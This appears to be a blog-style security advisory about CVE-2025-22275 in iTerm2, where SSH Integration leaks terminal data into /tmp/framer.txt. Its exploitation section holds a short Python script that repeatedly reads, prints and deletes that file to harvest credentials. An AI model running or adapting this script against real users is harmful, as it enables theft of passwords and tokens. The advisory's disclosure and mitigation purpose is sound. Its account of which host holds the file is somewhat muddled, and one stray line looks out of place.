A security vulnerability classified under Common Vulnerabilities and Exposures (CVE) ID: CVE-2025-22275 has been discovered in iTerm2, impacting versions 3.5.6 through 3.5.10. This vulnerability allows a remote attacker to potentially access sensitive data by reading a local file named /tmp/framer.txt. It is important to take note and address this vulnerability on affected systems as it could lead to a remote attacker gaining unauthorized access to sensitive information.

Vulnerability Details

The affected software, iTerm2, is a popular terminal emulator for macOS. In certain configurations with it2ssh and SSH Integration enabled, a remote attacker could potentially exploit this vulnerability during remote login sessions to hosts having a shared Python installation by gaining access to the aforementioned /tmp/framer.txt file. As a result, the attacker could obtain sensitive data such as passwords, authentication tokens, and other secure command information that may have been entered or displayed in the terminal.

iTerm2 version 3.5.10

It is important to update to a version 3.5.11 or later or follow the mitigation steps described below if you are currently using an impacted version.

Exploiting the Vulnerability

The fundamental exploit depends on an attacker having the ability to access the /tmp/framer.txt file on the victim's system. By monitoring this file, the remote attacker could potentially intercept sensitive information such as login credentials and other data entered into the terminal.

An example of how the attacker could exploit this vulnerability would be by observing the /tmp/framer.txt file for any credentials entered. The attacker could execute a simple Python script to accomplish this:

import time
import os

TARGET_FILE = "/tmp/framer.txt"

# Continuously check target file for new content
while True:
    if os.path.exists(TARGET_FILE):
        with open(TARGET_FILE, "r") as file:
            content = file.read()
            if content:
                print("File Content: \n", content)
        # Clean up the target file
        os.remove(TARGET_FILE)
    time.sleep(1)

This script would continuously monitor the /tmp/framer.txt file for new content, print any data if found, and then delete the file. In this manner, an attacker could potentially access sensitive data when the victim uses iTerm2.

Mitigation Steps

There are a few mitigation steps that can be followed to minimize the risk associated with this vulnerability:

1. Update iTerm2 to the latest version (3.5.11 or later): iTerm2 developers have addressed this vulnerability in version 3.5.11. Update to this version or a later one to mitigate the risk. You can download the latest version of iTerm2 from the official website: Download iTerm2.

2. Disable Unused Configurations: If you are not actively using the it2ssh and SSH Integration features, it is recommended to disable or remove these configurations to minimize the attack surface.

3. Secure the /tmp/framer.txt File: Change the permissions of the /tmp/framer.txt file to restrict access. Run the following command (you may need to execute this command as sudo): chmod 600 /tmp/framer.txt

Conclusion

To protect your iTerm2 installation and sensitive information transmitted through terminal commands from potential remote attackers, it is essential to follow the mitigation steps mentioned in this post or ensure that you are on a secure and updated version of iTerm2. By staying vigilant and routinely applying security updates, you are taking necessary precautions to safeguard your data.

For further information regarding this vulnerability, please refer to the following sources

- CVE-2025-22275 - NIST National Vulnerability Database
- iTerm2 Security Advisory

Timeline

Published on: 01/03/2025 05:15:08 UTC
Last modified on: 01/03/2025 07:15:25 UTC